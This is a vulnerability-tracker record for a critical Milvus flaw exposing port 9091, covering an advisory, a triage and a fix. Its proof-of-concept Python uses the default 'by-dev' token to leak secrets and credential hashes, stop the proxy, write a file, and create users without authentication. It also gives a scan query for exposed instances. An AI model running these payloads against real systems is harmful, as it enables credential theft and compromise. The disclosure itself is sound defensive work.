{"id":"CVE-2026-26190","kind":"vulnerability","aliases":["CVE-2026-26190","GHSA-7ppg-37fh-vcr6"],"related":[],"title":"Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise","description":"## Summary\n\nMilvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:\n\n1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.\n2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.\n\n## Details\n\n### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint\n\nThe `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:\n\n- **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, 'root')`, etc.\n- **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service.\n- **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.\n\n### Vulnerability 2: Unauthenticated REST API on Metrics Port\n\nBusiness-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.\n\nAn attacker can perform any business operation without credentials, including:\n\n- Creating, listing, and deleting collections\n- Inserting and querying data\n- Creating, listing, and deleting user credentials\n- Modifying user passwords\n\n## Proof of Concept\n\n### PoC 1 — `/expr` Endpoint Exploitation\n\n```python\nimport requests\n\nurl = \"http://<target>:9091/expr\"\n\n# Leak sensitive configuration (e.g., MinIO secret key)\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"param.MinioCfg.SecretAccessKey.GetValue()\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Retrieve hashed credentials for the root user\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"rootcoord.meta.GetCredential(ctx, 'root')\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Denial of Service — stop the proxy\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"proxy.Stop()\"\n}, timeout=5)\n\n# Arbitrary file write (potential RCE)\nfor cmd in [\n    'param.Save(\"proxy.accessLog.localPath\", \"/tmp\")',\n    'param.Save(\"proxy.accessLog.formatters.base.format\", \"whoami\")',\n    'param.Save(\"proxy.accessLog.filename\", \"evil.sh\")',\n    'querycoord.etcdCli.KV.Put(ctx, \"by-dev/config/proxy/accessLog/enable\", \"true\")'\n]:\n    requests.get(url, params={\"auth\": \"by-dev\", \"code\": cmd}, timeout=5)\n```\n\n### PoC 2 — Unauthenticated REST API Access\n\n```python\nimport requests\n\ntarget_url = \"http://<target>:9091\"\n\n# Create a user without any authentication\nres = requests.post(f\"{target_url}/api/v1/credential\", json={\n    \"username\": \"attacker_user\",\n    \"password\": \"MTIzNDU2Nzg5\",\n})\nprint(res.json())\n\n# List all users\nres = requests.get(f\"{target_url}/api/v1/credential/users\")\nprint(res.json())  # {'status': {}, 'usernames': ['root', 'attacker_user']}\n\n# Create and delete collections, insert data — all without authentication\n```\n\n## Internet Exposure\n\nA significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:\n\n```\nhttp.body=\"404 page not found\" && port=\"9091\"\n```\n\nThis indicates the vulnerability is actively exploitable in real-world production environments.\n\n## Impact\n\nAn unauthenticated remote attacker with network access to port 9091 can:\n\n1. **Exfiltrate secrets and credentials** — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.\n2. **Manipulate all data** — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.\n3. **Manage user accounts** — Create administrative users, reset passwords, and escalate privileges.\n4. **Cause denial of service** — Shut down proxy services, drop databases, or corrupt metadata.\n5. **Write arbitrary files** — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.\n\n## Remediation\n\n### Recommended Fixes\n\n1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.\n2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.\n3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured.\n4. **Enforce authentication on all API endpoints**, regardless of which port they are served on.\n\n### User Mitigations (until patched)\n\n- Block external access to port 9091 using firewall rules or network policies.\n- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.\n- Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).\n\n## Credit\n\nThis vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).","summary":"Milvus, a vector database used by AI applications, exposes its REST API and a /expr debug endpoint on the metrics port 9091 without real authentication. An unauthenticated attacker can read secrets and credential hashes, create users, modify data, stop services, and possibly write files to achieve code execution.","severity":"critical","cvss":9.800000190734863,"epss":0.04560000076889992,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/milvus-io/milvus","fixed":["2.5.27"],"affected":"< 2.5.27","ecosystem":"go"},{"name":"github.com/milvus-io/milvus","fixed":["2.6.10"],"affected":">= 2.6.0, < 2.6.10","ecosystem":"go"},{"name":"milvus","fixed":["2.5.27"],"affected":"< 2.5.27","ecosystem":"vendor"},{"name":"milvus","fixed":["2.6.10"],"affected":">= 2.6.0, < 2.6.10","ecosystem":"vendor"}],"ecosystems":["go","vendor"],"tags":["ai-tooling","cwe-1188","cwe-306","cwe-749","docker","kubernetes","milvus","self-hosted","vector-database"],"not_affected_if":["managed-hosting","patched-version","port-9091-firewalled"],"how_to_check":"Check whether port 9091 is reachable from outside the internal network (e.g. nmap -p 9091 <host> from an external host).\nCheck the Milvus version: affected if below 2.5.27 or in 2.6.0 to below 2.6.10.","fix":"Upgrade Milvus to 2.5.27 or later for the 2.5 line, or 2.6.10 or later for the 2.6 line.\nUntil patched, block port 9091 with firewall or network policy and do not expose it outside the internal network; also change etcd.rootPath from the default by-dev.","status":"open","published_at":"2026-02-11T19:49:44+00:00","first_seen_at":"2026-10-23T19:11:31+00:00","triaged_at":"2026-10-23T21:43:42+00:00","updated_at":"2026-10-23T23:44:52+00:00","category":"ai-tooling","confidence":0.85,"triage":{"at":"2026-10-23T21:43:42Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade Milvus to 2.5.27 or later for the 2.5 line, or 2.6.10 or later for the 2.6 line.\nUntil patched, block port 9091 with firewall or network policy and do not expose it outside the internal network; also change etcd.rootPath from the default by-dev.","reach":"network","impact":"high","summary":"Milvus, a vector database used by AI applications, exposes its REST API and a /expr debug endpoint on the metrics port 9091 without real authentication. An unauthenticated attacker can read secrets and credential hashes, create users, modify data, stop services, and possibly write files to achieve code execution.","category":"ai-tooling","who_cares":["milvus","self-hosted","kubernetes","docker","vector-database"],"confidence":0.85,"needs_auth":"no","worst_case":"Unauthenticated attacker reads secrets, creates admin users, and may execute code","analyst_note":"Confirm the fixed versions and whether 9091 is exposed by default in official Helm charts and Docker images, via GHSA-7ppg-37fh-vcr6 and the Milvus release notes.","how_to_check":"Check whether port 9091 is reachable from outside the internal network (e.g. nmap -p 9091 <host> from an external host).\nCheck the Milvus version: affected if below 2.5.27 or in 2.6.0 to below 2.6.10.\nUnknown whether a config flag disables /expr or the REST routes on 9091.","needs_analyst":true,"not_affected_if":["managed-hosting","port-9091-firewalled","patched-version"],"user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.000803,"input_tokens":5102,"output_tokens":585,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-1188':39B '-2026':17A,25A '-26190':18A,26A '-306':41B '-749':43B '/api/v1':143C '/api/v1/credential':491C '/api/v1/credential/users':508C '/config/proxy/accesslog/enable':455C '/expr':67B,117C,173C,176C,359C '/milvus-io/milvus':29A,32A '/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#l170).':307C '/tmp':443C '1':115C,168C,358C '170':304C '2':138C,271C,469C '37fh':22A '404':546C '5':385C,410C,432C,467C '7ppg':21A '9091':10A,74B,106C,180C,208C,298C,479C,551C '9091/expr':366C 'accept':181C 'access':3A,155C,254C,473C 'achiev':98B 'activ':557C 'ai':36B,59B 'ai-tool':35B 'allow':153C 'api':6A,64B,142C,274C,472C 'applic':60B 'arbitrari':135C,211C,248C,260C,263C,433C 'attack':80B,203C,327C,494C,514C 'auth':183C,378C,401C,425C,460C 'authent':77B,112C,125C,152C,171C,314C,318C,485C,524C 'busi':158C,279C,331C 'business-log':278C 'by-dev':131C,191C,379C,402C,426C,452C,461C 'bypass':113C 'cmd':439C,465C 'code':99B,382C,405C,429C,464C 'collect':283C,340C,519C 'compromis':15A 'concept':356C 'configur':221C,256C,369C 'content':261C 'creat':87B,336C,345C,480C,516C 'credenti':85B,164C,226C,229C,287C,334C,350C,392C 'critic':13A,111C 'ctx':234C,407C,451C 'cve':16A,24A 'cwe':38B,40B,42B 'data':90B,161C,285C,344C,521C 'databas':52B,56B 'debug':68B,118C 'default':108C,124C,130C,170C,186C 'delet':339C,348C,518C 'denial':237C,415C 'deriv':127C 'detail':166C 'dev':133C,193C,381C,404C,428C,454C,463C 'disclosur':218C 'discover':536C 'docker':44B 'e.g':370C 'enabl':134C,320C 'endpoint':69B,119C,174C,177C,309C,360C 'enforc':312C 'etc':236C 'etcd':225C 'etcd.rootpath':129C,189C 'evalu':137C,210C 'even':315C 'evil.sh':449C 'execut':100B 'exp':558C 'exploit':361C 'expos':61B,103C,532C 'exposur':526C 'express':136C,214C 'f':488C,505C 'file':96B,249C,264C,434C 'filesystem':269C 'found':549C 'full':140C 'get':388C,413C 'ghsa':20A 'ghsa-7ppg-37fh-vcr6':19A 'github.com':28A,31A,306C 'github.com/milvus-io/milvus':27A,30A 'github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#l170).':305C 'go':213C 'grpc/http':324C 'handler':282C 'hash':86B,230C,391C 'host':49B 'http':281C,294C 'http.body':545C 'import':363C,475C 'includ':160C,335C 'indic':553C 'information/credential':217C 'insert':286C,341C,520C 'instanc':534C 'intern':212C,220C 'internal/distributed/proxy/service.go':302C 'internet':525C,539C 'internet-wid':538C 'invok':240C 'json':492C 'key':373C 'known':199C 'kubernet':45B 'lead':11A,215C 'leak':367C 'line':303C 'list':337C,346C,500C 'log':255C 'logic':280C 'manag':165C,284C,288C 'manipul':162C,253C 'metric':8A,72B,276C 'metrics/management':148C,293C 'milvus':1A,33A,34A,46B,53B,102C,317C,533C 'minio':223C,371C 'modifi':89B,351C 'mtizndu2nzg5':497C 'number':529C 'oper':159C,332C 'output':389C,414C 'page':547C 'param':377C,400C,424C,459C 'param.miniocfg.secretaccesskey.getvalue':232C,383C 'param.save':441C,444C,447C 'paramet':184C,257C 'password':353C,496C 'path':265C 'pattern':544C 'perform':329C 'poc':357C,468C 'port':9A,73B,105C,149C,179C,207C,277C,297C,325C,550C 'possibl':94B 'potenti':251C,436C 'predict':123C,201C 'primari':323C 'print':386C,411C,498C,509C 'proof':354C 'proxi':246C,420C 'proxy.accesslog.filename':448C 'proxy.accesslog.formatters.base.format':445C 'proxy.accesslog.localpath':442C 'proxy.stop':241C,430C 'public':531C 'python':362C,474C 'queri':343C 'querycoord.etcdcli.kv.put':450C 'rce':252C,437C 'reach':206C 'read':82B,219C 'real':76B 'regist':145C,290C 'registerhttpserv':300C 'request':364C,476C 'requests.get':375C,398C,422C,457C,504C 'requests.post':487C 'res':374C,397C,421C,486C,503C 'res.json':387C,412C,499C,510C 'rest':5A,63B,141C,273C,471C 'retriev':390C 'root':235C,395C,408C,513C 'rootcoord.meta.getcredential':233C,406C 'scan':541C 'secret':83B,224C,372C 'self':48B 'self-host':47B 'sensit':368C 'server':268C,295C 'servic':92B,239C,247C,417C 'shut':243C 'signific':528C 'status':511C 'stop':91B,418C 'summari':101C 'system':14A 'target':477C,489C,506C 'tcp':104C 'timeout':384C,409C,431C,466C 'token':126C 'tool':37B 'true':456C 'two':110C 'unauthent':2A,79B,154C,272C,470C 'url':365C,376C,399C,423C,458C,478C,490C,507C 'use':57B,120C,542C 'user':88B,228C,349C,352C,396C,482C,495C,502C,515C 'usernam':493C,512C 'valu':190C,195C,222C 'vcr6':23A 'vector':51B,55B 'vector-databas':50B 'via':231C,299C,537C 'vulner':114C,167C,270C,555C 'weak':122C,169C 'well':198C 'well-known':197C 'whoami':446C 'wide':540C 'without':75B,150C,333C,483C,523C 'write':95B,250C,259C,435C","nicknames":[],"mitigations":[],"who_affected":null,"tier":null,"verified":{},"analyst_revisit_at":null,"first_public_at":"2026-02-11T19:49:44+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-7ppg-37fh-vcr6","url":"https://github.com/advisories/GHSA-7ppg-37fh-vcr6","severity":"critical","published_at":"2026-02-11T19:49:44+00:00","modified_at":"2026-10-22T18:19:50+00:00","first_seen_at":"2026-10-23T19:11:31+00:00","fetched_at":"2026-10-23T19:11:31+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-26190","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26190","severity":null,"published_at":"2026-02-13T19:17:29+00:00","modified_at":"2026-06-17T10:25:54+00:00","first_seen_at":"2026-10-23T23:44:52+00:00","fetched_at":"2026-10-23T23:44:52+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}